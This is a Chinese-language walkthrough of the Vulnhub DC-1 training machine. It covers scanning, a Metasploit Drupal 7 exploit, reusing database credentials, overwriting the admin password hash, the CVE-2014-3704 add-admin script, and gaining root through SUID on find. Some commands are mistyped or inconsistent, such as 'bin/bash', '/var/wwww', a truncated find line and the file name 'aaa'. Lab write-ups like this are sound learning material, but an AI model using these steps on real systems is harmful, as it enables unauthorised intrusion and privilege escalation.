Vulnhub渗透靶机系列----DC1
下载地址
第一个下载快
http://www.five86.com/downloads/DC-1.zip
https://www.vulnhub.com/entry/dc-1,292/
环境说明
dc1靶机:10.139.10.134
kali攻击机:10.139.10.152
信息收集
1、kali使用netdiscover发现存活主机
通过虚拟机设置-高级-知道他的mac地址
sudo netdiscover -r 10.139.10.0/24
发现靶机ip地址为10.139.10.134
使用nmap进行端口扫描
sudo nmap -sS -sV -A -n 10.139.10.134
发现开着22和80端口
发现是drupal 7
漏洞利用
sudo msfconsole
search drupal 7
use 1//选择第一序号为1的那个漏洞
set rhosts 10.139.10.134//设置被攻击ip
exploit //发起攻击
成功拿到shell
后渗透
发现flag1.txt
cat flag1.txt
//Every good CMS needs a config file - and so do you.
提示配置文件,一般在sites里,进去发现default,然后发现setting.php
cd sites
cd default
cat settings.php
发现数据库敏感信息和flag
暴力和字典攻击不是
获得访问权限的唯一方法(您将需要访问权限)。
你能用这些证书做什么?
数据库:
用户名:dbuser 密码:R0ck3t
查看是否可以连接数据库,发现3306开的但是只能本地连接,这就需要我们拿到本地拿到shell
netstat -antpl
写一个python 交互
python -c "import pty;pty.spawn('bin/bash')"
然后连接mysql
mysql -u dbuser -p
R0ck3t
成功登录到mysql,去查找数据库的东西
show databases;
use drupaldb
show tables;
select * from users;
这里发现用drupal加密了
尝试登录网站
方法一
在scripts
录有password-hash.sh
文件,可以用该文件生成自己的密码hash值替换数据库hash,达到登陆后台的目的 这里我用别人写好的password
。
cd /var/wwww
php scripts/password-hash.sh password
再等到数据库中,用如下命令改掉加密的密码
update drupaldb.users set pass="$S$DYyHOGvUlVey/TRbXOU7.Gsp2wKX.9Q9Jt/SFd085Xhq.cAR.S0u" where name="admin"; ##修改密码
通过admin passowrd 成功登录该网站
这里有另一种登录该网站的方法,可以参考
方法二
先通过openwas等漏扫工具发现cve-2014-3704漏洞存在
grep -rnw /usr/share/exploitdb/ -e "CVE-2014-3704"
//有34992脚本可以利用
searchsploit -m 34992
//搜索编号为34992的脚本
python 34992.py -t http://10.139.10.134 -u baidada -p 123456
//创建用户名为baidada 密码为123456的账户
可以成功登录到网站拿到flag3
suid提权
“特殊权限将有助于找到密码,但你需要使用-exec参数执行命令,以了解如何获取shadow文件中的内容。”
根据特殊提示次我们去看看用户
cat /etc/passwd
发现flag4 是/bin/bash是可登录用户
发现flag4下面有一个flag4.txt文档
发现打开提示让我们获得root权限
使用find命令查找有特殊权限suid
的命令:
find / -perm -4000
常见的可提权命令
nmap
vim
find
bash
more
less
nano
cp
可以使用find命令提权
mkdir baiyun
find ./ baiyun -exec '/bin/sh' \
//这个命令的意思是在当前目录(`./`)下查找具有名称 `baiyun` 的文件,并使用 `exec` 参数执行 `/bin/sh` 命令。
`-exec` 参数用于在找到匹配的文件时执行一个命令。`/bin/sh` 是一个常见的Unix/Linux命令解释器,通过执行 `/bin/sh` 可以在命令行界面上打开一个新的shell会话。`\;` 是结束 `-exec` 参数的标记符号。
这个命令的效果是,在找到名称为 `aaa` 的文件时,会打开一个新的shell会话,你可以在该会话中执行进一步的命令或操作。
得到所有flag。